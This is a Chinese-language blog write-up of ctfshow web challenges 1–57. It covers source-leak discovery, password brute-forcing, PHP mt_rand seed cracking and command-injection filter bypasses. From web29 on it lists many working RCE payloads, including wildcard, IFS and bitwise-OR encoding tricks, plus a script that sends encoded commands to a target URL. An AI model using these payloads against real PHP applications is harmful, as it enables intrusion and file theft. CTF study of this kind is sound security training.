ctfshow WEB刷题

web1

直接右键打开,在源代码里

web2

ctrl+u查看源码

web3

打开bp抓包发送直接就得到了

web4

用dirsearch扫描发现txt文件

访问

接着访问得到flag

web5

用dirbuster扫描看看有没有phps源码泄露,发现存在

访问下载文件打开就是flag

web6

用dirsearch扫描发现zip文件

 下载

打开查看得到flag

web7

用dirsearch扫描,发现git泄露

访问

web8

直接dirsearch扫描,发现svn泄露

访问

web9

根据题目提示可以知道是vim缓存漏洞

临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。

以 index.php 为例

第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "

访问index.php.swp下载文件

打开得到flag

web10

打开bp抓包请求直接得到flag

web12

用dirsearch扫描发现,robots.txt文件

查看发现admin路径

访问发现登入框

 用户名为admin,密码在页面下方372619038

登入得到flag

web13

在页面下方发现个链接document

点开发现是技术文档,有登入信息

将https改为http在域名后加上system1103/login.php成功进入登入界面

 输入用户名密码成功登入

web14

用dirsearch扫描发现有个editor目录

访问发现一个编辑器界面

点击插入文件(插入图片)发现有个文件空间

进入/etc/passwd发现没东西,进入/var/www/html发现有个nothinghere目录进入查看发现flag文件

访问/nothinghere/fl000g.txt得到flag

web15

用dirsearch扫描发现有个admin路径

访问得到一个后台登入系统

先尝试用户名:admin,密码:123456,发现登入失败

点忘记密码发现有个密保问题

 滑倒页面最下面有个qq邮箱

查询到号主是陕西西安的

输入西安得到密码

输入密码得到flag

web16

根据题目提示,直接访问/tz.php

点击php信息处的phpinfo

搜索得到flag

web17

用dirsearch扫描发现有个sql文件

下载

查看发现flag

web18

点开源代码发现有个js文件

点开发现胜利条件

搜索后发现是unicode编码

解码

 根据谐音110.php

访问得到flag

web19

查看源代码发现php代码

根据代码post传参得到flag

web20

mdb文件是早期asp+access构架的数据库文件

所以直接访问/db/db.mdb

用010打开得到flag

web21

先随便输入用bp抓包

发现一串base64编码

解码发现是输入的用户名和密码

单独加密123456为MTIzNDU2

将题目的字典加入

并用base64加密

开始爆破得到flag

web23

根据代码发现需要满足token的长度条件

#第一种

import hashlib

dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
	for b in dic:
		t = str(a)+str(b)
		md5 = hashlib.md5(t.encode('utf-8')).hexdigest()
		if md5[1] != md5[14] or md5[14]!= md5[17]:
			continue
		if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:
				if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):
					print(t)

#第二种
import hashlib

for i in range(1,10000):
	md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
	if md5[1] != md5[14] or md5[14]!= md5[17]:
		continue
	if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:
		if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):
			print(i)

输入token=3j或token=422或token=1202

web24

mt_srand():播种 Mersenne Twister 随机数生成器。

用法:

mt_srand(seed);

intval():获取变量的整数值

根据代码编写脚本

<?php
mt_srand(372619038);
echo intval(mt_rand());
?>

运行得到r

get传参?r=1155388967得到flag

web25

先尝试r=0和r=1

发现返回值逐渐增加1

根据$rand = intval($r)-intval(mt_rand());可知mt_rand()的值为1593817657

用php_mt_seed工具反推随机数得到种子

用wappalyzer查看一下php版本为7.3.11

选择合适版本的种子放入脚本求token

<?php
mt_srand(2856563738);
$rand = mt_rand();
$rand1 = mt_rand();
$rand2 = mt_rand();
echo $rand,"\n",$rand1,"\n",$rand2,"\n",$rand1+$rand2,"\n\n";

 这边rand1和rand2是第二次和第三次生成的mt_rand()的值,由于试过了两个第一次mt_rand的值相加发现不行。

最终输入?r=1593817657,cookie值等于token=2616771822有时候直接2616771822就行

感觉环境有问题没出flag,就不放展示

web26

先随便输入发现没反应,刷新弹窗unfinded

再尝试提示给的,发现弹窗数据库连接失败,说明就是要爆这个数据库需要爆破用户名和密码

尝试改不同地方最后发现只有密码是不对的(只有单独改密码有弹窗)

故爆破密码,密码为775821(爆破的时候可以尝试多个字典)

web27

进去发现可以下载个名单

有个查询平台

进行身份证的爆破由于身份证中间的部分刚好是生日年月日,所以直接用日期爆破

生日为19900201

爆破出信息再在登入平台登入即可得到一串unicode编码

\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801

解码

输入后得到flag

感觉环境问题抓包抓不到名字和身份证所以直接看了别人的wp,但是思路是没错的

web28

这边看见路径有个0/1/2.txt感觉应该是要爆破这个

先尝试一下改变1.txt发现返回到2.txt且会产生很长的路径

 说明要爆破的应该就是这个由于爆2.txt会比较麻烦所以先爆破前面两个(如果不行就再爆破2,最后再选择爆破txt,爆破要由简入杂)

用cluster bomb模式爆破0和1,先试0到100

发现调到1000都没有,将2.txt去掉试试(/先保留),得到flag

web29

方法一:

根据代码直接传参?c=system("ls");查看当前页面下的目录发现flag.php

 

由于flag被禁用,所以用?c=system(cat f*);发现没有回显cat可能也被禁用了,所以用                       ?c=system(tac f*);成功得到flag

 方法二:?c=echo `tac f*`;

方法三:?c=eval($_GET[a]);&a=system("tac f*");

方法四:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

方法五:?c=system("cp fl*g.php a.txt"); 再访问a.txt即可

方法六:?c=tac f* | tee 1.txt; 再访问1.txt即可

web30

多了个system和php禁用web29的选一种合适的方法用

web31

web32

 web33

web34

web35

web36

web37

<?php system('cat flag.php');?> 

查看源代码

web38

查看源代码

web39

查看源代码

web40

法一:

?c=eval(array_pop(next(get_defined_vars())));

POST传参a=system('tac fl*');

get_defined_vars() :返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

next():将内部指针指向数组中的下一个元素,并输出。

array_pop(): 删除数组中的最后一个元素并返回其值。

法二:

 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为".";

pos():输出数组第一个元素,不改变指针;

current() :返回数组中的当前元素(单元),默认取第一个值,可以代替pos();

scandir():返回指定目录中的文件和目录的数组。这里因为参数为"."所以遍历当前目录;

array_reverse():数组逆置;

next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以;

show_source():查看源码;

getcwd() :返回当前工作目录。可以代替pos(localeconv())。

web41

大部分的符号都被过滤了,但是“ | ”没有被过滤,可以通过移位运算得到可用的可见字符

直接运行脚本就可以得到flag(网上找到的脚本)

#利用|(位运算符)组合两个未被正则表达式过滤的字符,以生成一个新的字符。
import re
import urllib
from urllib import parse
import requests

# 初始化一个列表来存储编码后的字符信息
contents = []

# 遍历所有可能的ASCII字符(从0x00到0xFF)
for i in range(256):
    for j in range(256):
        # 将整数i和j转换为两位的十六进制字符串(如:'00'到'ff')
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)

        # 编译一个正则表达式,用于检测需要特殊处理的字符
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)

        # 如果当前字符是需要特殊处理的字符,则跳过本次循环
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue

        # 否则,将字符转换为百分号编码格式(如:'%20'代表空格)
        a = '%' + hex_i
        b = '%' + hex_j

        # 计算两个十六进制值按位或运算的结果,并确保结果是一个可打印的字符
        c = chr(int(a[1:], 16) | int(b[1:], 16))

        # 只保留ASCII码在32到126之间的字符(即可打印字符)
        if 32 <= ord(c) <= 126:
            contents.append([c, a, b])  # 将字符、其百分号编码形式以及备用编码形式添加到列表中


# 定义一个函数,用于生成payload
def make_payload(cmd):
    payload1 = ''  # 初始化第一个payload字符串
    payload2 = ''  # 初始化第二个payload字符串

    # 遍历给定命令的每一个字符
    for char in cmd:
        # 在contents列表中查找与当前字符匹配的项
        for item in contents:
            if char == item[0]:  # 如果找到了匹配的项
                payload1 += item[1]  # 添加其百分号编码形式到payload1
                payload2 += item[2]  # 添加其备用编码形式到payload2
                break  # 找到匹配项后跳出循环

    # 返回一个字符串,其中包含了原始的和备用的十六进制编码,以括号包围
    return '("' + payload1 + '"|"' + payload2 + '")'


# 获取用户输入的URL
URL = input('url:')

# 创建payload,首先对'系统'命令进行编码,然后对'cat flag.php'命令进行编码
payload = make_payload('system') + make_payload('cat flag.php')

# 发送POST请求到指定的URL,数据中包含编码后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)

# 输出服务器的响应文本
print(response.text)

web42

可以看到代码有一个system命令但是正常直接输入ls就可以执行,但是后面跟着>/dev/null 2>&1

所以需要将其隔开,可以用%0a、||、;隔开。

查看源代码

web43

多了个cat和;的禁用

?c=ca\t flag.php%0a

?c=tac flag.php%0a

查看源代码

web44

多加了个flag的禁用

?c=tac f*%0a

web45

多加了个空格的禁用

?c=tac$IFS$9f*%0a

?c=tac%09f*%0a

?c=tac<f*||%0a

web46

多加了$和*的禁用

?c=tac%09fl\ag.php||

?c=tac%09fl''ag.php||%0a

web47

?c=tac%09fl\ag.php%0a

?c=nl%09fl\ag.php%0a 查看源代码

web48

?c=tac%09fl\ag.php%0a

?c=nl%09fl\ag.php%0a 查看源代码

web49

?c=tac%09fl\ag.php%0a

?c=nl%09fl\ag.php%0a 查看源代码

web50

%09被禁用

?c=tac<fl\ag.php%0a

?c=nl<fl\ag.php%0a 查看源代码

web51

?c=nl<fl\ag.php%0a

web52

?c=ls${IFS}/%0a

?c=nl${IFS}/fl\ag||

web53

?c=nl${IFS}fl\ag.php%0a

web54

用*正则匹配无论中间添加\或者其他的都没法绕过,同时可以发现通配符*被禁用但是?没被禁用

解法一:通过rev反向输出

?c=rev${IFS}f???.php%0a

再将得到的flag用脚本正向过来即可

# 输入要反向输出的字符串
input_string = input("请输入要反向输出的字符串: ")

# 使用切片操作[::-1]来反向输出字符串
reversed_string = input_string[::-1]

# 输出反向后的字符串
print("反向输出的字符串:", reversed_string)

方法二:通过uniq

uniq:删除文件中的重复行。 uniq 命令读取由 InFile 参数指定的标准输入或文件。

?c=uniq${IFS}f???.php%0a

查看源代码

方法三:通过vi

?c=vi${IFS}f???.php%0a 

查看源代码

方法四:通过/bin目录调用命令

Linux 有很多命令存放在 /bin/ 目录下,可以通过绝对路径来使用,并且支持通配符。

?c=/bin/?at${IFS}f???.php%0a

查看源代码

web55

该题为无字母的rce

由于system()函数本身并不直接涉及输出结果的取反或绕过机制。它的输出取决于所执行的命令本身的结果,而不是由system()函数本身控制的。所以不能用取反绕过

由于;被禁用了所以不能用自增绕过

方法一:用.执行文件内容

可以发现.没被禁用所以我们可以通过.执行文件内容从而绕过

source命令(.命令):用于重新执行刚修改过的文件,也可以把文件的内容当作shell命令执行

首先构造出上传文件的html文件

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://d3bd37ff-3ed8-4c1d-97ab-02a7734a8243.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

进去后直接点击提交,然后用bp抓包(直接在页面中提交文件再用bp抓包没连接上题目,不知道啥原因),抓包后填写文件信息类型和内容,并添加payload:.%20/???/????????[@-[]

上传的文件一般会被放在/tmp/phpxxxxxx,其中这六个字符可能会是大写,所以我们可以利用大写来区分其他文件,用匹配符[@-[]进行大写匹配,大写字母位于 “ @ ” 与 “ [ ” 之间,所以构造出来的payload可以是????????[@-[]也可以是???????[@-[]?等等,如果没出结果可以多匹配几次。

方法二:利用/bin/base64

?c=/???/????64 ????.???

方法三:利用 /usr/bin/bzip2

?c=/???/???/????2 ????.???

bzip2 命令压缩后的文件后缀为 .bz2,因此这里压缩后文件名为:flag.php.bz2

访问下载

web56

多过滤了数字所以上述方法二和方法三没法用,只能用方法一

web57

该题需要传入?c=36,由于数字被过滤了所以需要绕过

在Linux中,可以使用$(())进行数学运算,$(())是空运算,默认值是0。

$((3*4))=12

$((~$(())))=-1

$(())内部数学表达式的结果为$(())=0,按位取反后的结果是 -1。

继续

$((~$(())))$((~$(())))=-1-1=-2

$((~$(($((~$(())))$((~$(())))$((~$(())))))))=-(-3+1)=2

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值